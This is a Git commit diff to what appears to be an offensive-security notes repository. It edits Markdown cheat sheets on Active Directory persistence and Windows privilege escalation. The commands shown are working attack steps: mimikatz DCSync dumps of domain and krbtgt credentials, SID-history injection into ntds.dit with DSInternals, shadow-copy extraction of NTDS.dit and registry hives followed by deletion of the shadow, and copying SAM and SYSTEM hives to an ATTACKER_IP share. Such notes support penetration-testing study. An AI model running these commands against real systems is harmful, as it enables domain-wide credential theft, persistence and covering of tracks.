whx
/
killchain-compendium
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

even more info

This commit is contained in:
gurkenhabicht 2026-04-03 22:39:46 +02:00
parent c78967a9a9
commit e8c3e42f94
2 changed files with 31 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
Cryptography/Active Directory/AD Persistance.md
View File

@ -1,6 +1,5 @@
# Active Directory Persistance # Active Directory Persistance
## Using Credentials ## Using Credentials
* __Knowledge Consistency Checker (KCC)__ replicates credentials through the forest * __Knowledge Consistency Checker (KCC)__ replicates credentials through the forest
@ -11,15 +10,20 @@
### Usage ### Usage
* Use mimikatz Use mimikatz
```sh ```sh
lsadump::dcsync /domain:<domain> /user:<username> lsadump::dcsync /domain:<domain> /user:<username>
``` ```
* To query the krbtgt user
To query the krbtgt user
```sh ```sh
lsadump::dcsync /domain:<domain> /user:krbtgt.<domain> lsadump::dcsync /domain:<domain> /user:krbtgt.<domain>
``` ```
* Query everything
Query everything
```sh ```sh
lsadump::dcsync /domain:<domain> /all lsadump::dcsync /domain:<domain> /all
``` ```
@ -95,7 +99,9 @@ Get-ADUser <your ad username> -properties sidhistory,memberof
```sh ```sh
Get-ADGroup "Domain Admins" Get-ADGroup "Domain Admins"
``` ```
* Use [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) to patch `ntds.dit`
Use [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) to patch `ntds.dit`
```sh ```sh
Stop-Service -Name ntds -force Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit

11
Post Exploitation/Windows/Windows PrivEsc.md
View File

@ -337,6 +337,17 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
``` ```
#### In case you are on a DC
You can extract the AD database which stores every domain account and its password hash via Volume Shadow Copy Service. `NTDS.dit` is stored at `C:\Windows\NTDS\ntdis.dit`.
```sh
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\TEMP\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\TEMP\system
vssadmin delete shadows /shadow={$SHADOW_ID} /quiet
```
### Dump LSASS ### Dump LSASS
LSASS contains multiple different credential types like NTLM password hashes, LSASS contains multiple different credential types like NTLM password hashes,